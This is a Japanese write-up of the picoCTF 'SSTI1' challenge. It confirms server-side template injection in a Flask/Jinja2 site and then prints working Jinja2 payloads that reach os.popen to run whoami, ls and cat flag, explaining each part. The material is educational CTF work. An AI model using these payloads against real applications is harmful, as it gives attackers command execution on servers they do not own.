今回の問題
picoCTFより"SSTI1"を解いていきます。
実際に解いていく
1. 問題文にあるWebサイトに移動する
このWebサイトでは、何かアナウンスをすることができるみたいです。
2. 適当な文字を入力してみる
「help!」と入力して[OK]ボタンをクリックすると、画面に大きな文字で表示されました。
以上が、このWebサイトの機能のようです。
3. ソースコード確認
ソースコードを確認してみました。
今回はHTMLのみです。怪しいところも見つかりません。
4. SSTIを疑う
色々な文字のパターンを入力してみたり、BurpSuiteで通信内容を確認・変更しました。しかし、FLAGはどこにも見当たりません。
ここでタイトルに注目してみると、SSTIとあります。
そう、今回はSSTIを利用した問題なのです。
5. 本当にSSTIなのか?
それでは、実際にSSTIなのかを検証していきましょう
まず、Webサイトの入力欄に
{{7 * 7}}
を入力します。
そして[OK]ボタンをクリックします。
すると、画面には入力した文字 " {{7 * 7}} " ではなく、49 という数字が表示されました!
これにて、SSTIが確定しました。
6. SSTIを利用してFLAGを獲得する
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' whoami ').read() }}
を入力して、ユーザー名「root」を取得します。
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' ls ').read() }}
を入力して、ファイル一覧を取得します。
その中にflagファイルがありました!
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' cat flag ').read() }}
を入力して、flagファイルの中身を確認します。
そこにはFLAGが書かれていました!
これにてFLAG獲得です。お疲れ様でした。
もう少し考えてみる
FLAGを獲得する途中で、以下の謎の文字を入力しました。
{{7 * 7}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' whoami ').read() }}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' ls ').read() }}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' cat flag ').read() }}
これらは何だったのでしょうか。上から順に考えていきます。
- {{7 * 7}} とは?
テンプレートエンジンに " {{7 * 7}} " を入力して出力がどうなるかを確認します。この結果によって、今回の問題がSSTIかどうかが判別できます。
今回は、49 という数字が返ってきましたね。これは、テンプレートエンジンによって、7 x 7 = 49 という計算が行われたからです。
ちなみに、今回はFlaskのテンプレートエンジンのJinja2だったため " {{7 * 7}} " でしたが、他のテンプレートエンジンの場合は異なります。以下の画像を参考にしてください。
引用:https://portswigger.net/web-security/server-side-template-injection
- {{self. _ TemplateReference __ context.cycler.__ init __ . __ globals __ .os.popen(' whoami ').read() }} とは?
これはPythonの内部構造を使ってOSコマンドを実行するためのコードです。
それぞれを分けて見ていくと、
・self. _ TemplateReference __ context: テンプレートの内部コンテキスト情報
・cycler: Jinja2内で使われているオブジェクト
・cycler.init. __ globals __ : Pythonの関数オブジェクトには .func _ globals(または __ globals __)という属性があり、グローバルなオブジェクト(モジュールなど)にアクセスする
・.os.popen('whoami'): os モジュールの popen 関数でシェルコマンドを実行する
・whoami: 今のユーザー名を出力する
・.read(): 実行結果を読み取る
というようになります。
これによって、まずは現在のユーザー名「root」を確認しました。
- {{self. _ TemplateReference __ context.cycler. __ init __ . __ globals __ .os.popen(' ls ').read() }} とは?
上と同じ構造で、今回はwhoamiコマンドではなく、lsコマンドを実行しました。
これによって、ファイル一覧を表示しました。
- {{self. _ TemplateReference __ context.cycler. __ init __ . __ globals __ .os.popen(' cat flag ').read() }} とは?
上と同じ構造で、今回は、catコマンドを実行しました
これによって、「flag」ファイルの中身を表示しました。
まとめ
今回の問題は、SSTIを利用してFLAGを獲得しました。
具体的には、
- Flask + Jinja2 の脆弱性(SSTI)を突いてサーバーにコマンドを実行させる
- __ globals __ を使ってPython内部の機能をたどり、os.popen() で任意コマンドを実行
本来はこうした内部の構造が出力してはいけませんが、テンプレートに直接文字列を評価させることで「裏口」のように利用してFLAGを獲得することができました。
補足
・SSTIとは?
→Server-Side Template Injectionの略。テンプレートエンジンにユーザー入力が直接渡され、サーバー側でそのまま実行されてしまう脆弱性のこと
参考
・picoCTF Web Exploitation: SSTI1
・サーバサイド・テンプレート注入 - SSTI脆弱性
・サーバーサイド・テンプレート・インジェクション(SSTI)とは?
・サーバーサイドテンプレートインジェクション